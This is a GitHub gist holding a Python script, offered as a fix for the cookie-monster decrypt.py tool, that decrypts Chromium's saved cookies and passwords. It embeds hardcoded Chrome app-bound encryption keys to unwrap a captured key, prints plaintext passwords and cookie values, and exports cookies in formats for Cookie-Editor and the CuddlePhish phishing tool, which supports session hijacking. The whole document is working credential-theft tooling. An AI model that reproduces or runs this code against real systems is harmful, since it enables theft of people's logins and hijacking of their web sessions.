Created
August 17, 2025 21:08
-
-
Save wavvs/c1f5769ce0561750ce671066644f28d5 to your computer and use it in GitHub Desktop.
Fix for https://github.com/KingOfTheNOPs/cookie-monster/blob/main/decrypt.py against latest versions
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| import base64 | |
| import sqlite3 | |
| import os | |
| import argparse | |
| from Crypto.Cipher import AES, ChaCha20_Poly1305 | |
| import binascii | |
| import json | |
| from datetime import datetime, timedelta | |
| from pyasn1.codec.der import decoder | |
| def webkit_to_datetime(webkit_timestamp): | |
| return (datetime(1601, 1, 1) + timedelta(microseconds=webkit_timestamp)).strftime('%b %d %Y %H:%M:%S') | |
| def cookies(key, file_location): | |
| if os.path.isfile(file_location) == False: | |
| print("Error: File does not exist") | |
| sys.exit(1) | |
| try: | |
| conn = sqlite3.connect(file_location) | |
| cursor = conn.cursor() | |
| cursor.execute('select host_key, "TRUE", path, "FALSE", expires_utc, name, CAST(encrypted_value AS BLOB) from cookies') | |
| values = cursor.fetchall() | |
| for host_key, _, path, _, expires_utc, name, encrypted_value in values: | |
| print("Host: " + host_key) | |
| print("Path: " + path) | |
| print("Name: " + name) | |
| print("Cookie: " + decrypt_data(encrypted_value,key,True) + ";") | |
| print("Expires: " + (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S')) | |
| print("") | |
| except sqlite3.Error as e: | |
| print("Error: Could not connect to database") | |
| print(e) | |
| sys.exit(1) | |
| def cookies_for_editor(key, file_location): | |
| cookies = [] | |
| if os.path.isfile(file_location) == False: | |
| print("Error: File does not exist") | |
| sys.exit(1) | |
| try: | |
| conn = sqlite3.connect(file_location) | |
| cursor = conn.cursor() | |
| cursor.execute('select host_key, "TRUE", path, "FALSE", expires_utc, name, CAST(encrypted_value AS BLOB) from cookies') | |
| values = cursor.fetchall() | |
| for host_key, _, path, _, expires_utc, name, encrypted_value in values: | |
| decrypted_value = decrypt_data(encrypted_value, key, True) | |
| expiration_date = (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).timestamp() | |
| cookie = { | |
| "domain": host_key, | |
| "expirationDate": expiration_date, | |
| "hostOnly": not host_key.startswith('.'), | |
| "httpOnly": False, | |
| "name": name, | |
| "path": path, | |
| "sameSite": None, | |
| "secure": False, | |
| "session": False, | |
| "storeId": None, | |
| "value": decrypted_value | |
| } | |
| cookies.append(cookie) | |
| cookie_file_name = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + "_cookies.json" | |
| with open(cookie_file_name, 'w') as f: | |
| json.dump(cookies, f, indent=4) | |
| print("Cookies saved to " + cookie_file_name) | |
| except sqlite3.Error as e: | |
| print("Error: Could not connect to database") | |
| print(e) | |
| sys.exit(1) | |
| def login_data(key, file_location): | |
| if os.path.isfile(file_location) == False: | |
| print("Error: File does not exist") | |
| sys.exit(1) | |
| try: | |
| conn = sqlite3.connect(file_location) | |
| cursor = conn.cursor() | |
| cursor.execute("SELECT origin_url, username_value, password_value, date_created, date_last_used, date_password_modified FROM logins") | |
| values = cursor.fetchall() | |
| for origin_url, username_value, password_value, date_created, date_last_used, date_password_modified in values: | |
| print("URL: " + origin_url) | |
| print("Created: " + webkit_to_datetime(date_created)) | |
| print("Last Used: " + webkit_to_datetime(date_last_used)) | |
| print("Modified: " + webkit_to_datetime(date_password_modified)) | |
| print("Username: " + username_value) | |
| print("Password: " + decrypt_data(password_value, key)) | |
| print("") | |
| except sqlite3.Error as e: | |
| print("Error: Could not connect to database") | |
| print(e) | |
| sys.exit(1) | |
| def cookies_for_cuddlephish(key, file_location): | |
| cookies = [] | |
| if os.path.isfile(file_location) == False: | |
| print("Error: File does not exist") | |
| sys.exit(1) | |
| try: | |
| priority_map = {1: "Medium", 2: "High"} | |
| conn = sqlite3.connect(file_location) | |
| cursor = conn.cursor() | |
| cursor.execute('select creation_utc, host_key, top_frame_site_key, name, CAST(encrypted_value AS BLOB), path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, last_update_utc, source_type, has_cross_site_ancestor from cookies') | |
| values = cursor.fetchall() | |
| for creation_utc, host_key, top_frame_site_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, last_update_utc, source_type, has_cross_site_ancestor in values: | |
| decrypted_value = decrypt_data(encrypted_value, key, True) | |
| expiration_date = (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).timestamp() if has_expires else -1 | |
| samesite_map = {0: "None", 1: "Lax", 2: "Strict"} | |
| source_scheme_map = {0: "NonSecure", 1: "Secure"} | |
| cookie = { | |
| 'domain': host_key, | |
| 'expires': expiration_date, | |
| 'httpOnly': bool(is_httponly), | |
| 'name': name, | |
| 'path': path, | |
| 'priority': priority_map.get(priority, "Medium"), | |
| 'sameParty': False, | |
| 'sameSite': samesite_map.get(samesite, "None"), | |
| 'secure': bool(is_secure), | |
| 'session': not bool(is_persistent), | |
| 'size': len(name) + len(decrypted_value), | |
| 'sourcePort': source_port, | |
| 'value': decrypted_value | |
| } | |
| cookies.append(cookie) | |
| output = { | |
| "url": "about:blank", | |
| "cookies": cookies, | |
| "local_storage": [] | |
| } | |
| cookie_file_name = "cuddlephish_" +datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + ".json" | |
| with open(cookie_file_name, 'w') as f: | |
| json.dump(output, f, indent=4) | |
| print("Cookies saved to " + cookie_file_name) | |
| except sqlite3.Error as e: | |
| print("Error: Could not connect to database") | |
| print(e) | |
| sys.exit(1) | |
| def decrypt_data(encrypted_junk, key, is_cookie=False): | |
| version = encrypted_junk[:3] | |
| if version in (b'v10', b'v11'): | |
| try: | |
| nonce = encrypted_junk[3:3 + 12] | |
| if len(nonce) == 0: | |
| print("Error: Nonce cannot be empty") | |
| return "" | |
| cipher_text = encrypted_junk[3+12:-16] | |
| tag = encrypted_junk[-16:] | |
| plain_text = AES.new(key, AES.MODE_GCM, nonce) | |
| text = plain_text.decrypt_and_verify(cipher_text, tag) | |
| if is_cookie: | |
| return text[32:].decode('utf-8') | |
| return text.decode('utf-8') | |
| except Exception as e: | |
| print("Error: Could not decrypt password") | |
| print(e) | |
| return "" | |
| if version in (b'v20'): | |
| try: | |
| nonce = encrypted_junk[3:3 + 12] | |
| if len(nonce) == 0: | |
| print("Error: Nonce cannot be empty") | |
| return "" | |
| cipher_text = encrypted_junk[3+12:-16] | |
| tag = encrypted_junk[-16:] | |
| plain_text = AES.new(key, AES.MODE_GCM, nonce) | |
| text = plain_text.decrypt_and_verify(cipher_text, tag) | |
| if is_cookie: | |
| return text[32:].decode('utf-8') | |
| return text.decode('utf-8') | |
| except Exception as e: | |
| print("Error: Could not decrypt password") | |
| print(e) | |
| return "" | |
| def byte_xor(ba1, ba2): | |
| return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) | |
| def argparse_args(): | |
| parser = argparse.ArgumentParser(description='Decrypt Chromium cookies and passwords given a key and DB file') | |
| parser.add_argument('-k', '--key', help='Decryption key', required=True) | |
| parser.add_argument('-o','--option', choices=['cookies', 'passwords', 'cookie-editor', 'cuddlephish', 'firefox'], help='Option to choose', required=True) | |
| parser.add_argument('-f','--file', help='Location of the database file', required=True) | |
| parser.add_argument('--chrome-aes-key',help='Chrome AES Key',required=False) | |
| return parser.parse_args() | |
| def main(): | |
| args = argparse_args() | |
| key = args.key | |
| base64_key = base64.b64encode(key.encode()) | |
| option = args.option | |
| file_location = args.file | |
| chromeAES = args.chrome_aes_key | |
| if chromeAES: | |
| base64ChromeKey = base64.b64encode(chromeAES.encode()) | |
| key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\x', ''), 'utf-8') | |
| # if key len is not 32, then its chrome 127+ | |
| # https://github.com/runassu/chrome_v20_decryption/issues/14#issuecomment-2708796234 | |
| key = binascii.unhexlify(key) | |
| if (chromeAES): | |
| chromeKey = bytearray(base64.b64decode(base64ChromeKey).decode('utf-8').replace('\\x', ''), 'utf-8') | |
| chromeKey = binascii.unhexlify(chromeKey) | |
| xor_key = bytes.fromhex("CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390") | |
| xored_aes_key = byte_xor(chromeKey, xor_key) | |
| #print(len(key)) | |
| if len(key) > 32: | |
| aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") | |
| chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660") | |
| flag = key[0] | |
| iv = key[1:1+12] | |
| ciphertext = key[1+12:1+12+32] | |
| tag = key[1+12+32:] | |
| #check for flag to determine if AES or ChaCha. Changed in chrome 130+ | |
| if flag == 1: | |
| cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) | |
| elif flag == 2: | |
| cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv) | |
| elif flag == 3: | |
| iv = key[1+32:1+32+12] | |
| ciphertext = key[1+32+12:1+32+12+32] | |
| tag = key[1+32+12+32:1+32+12+32+16] | |
| cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=iv) | |
| else: | |
| raise ValueError(f"Unsupported flag: {flag}") | |
| key = cipher.decrypt_and_verify(ciphertext, tag) | |
| print("Decrypted App Bound Key: " + ''.join(f'\\x{b:02X}' for b in key) + "\n") | |
| if option == "cookies": | |
| cookies(key, file_location) | |
| elif option == "passwords": | |
| login_data(key, file_location) | |
| elif option == "cookie-editor": | |
| cookies_for_editor(key, file_location) | |
| elif option == "cuddlephish": | |
| cookies_for_cuddlephish(key, file_location) | |
| elif option == "firefox": | |
| print("TO DO") | |
| else: | |
| print("Error: Invalid option") | |
| sys.exit(1) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment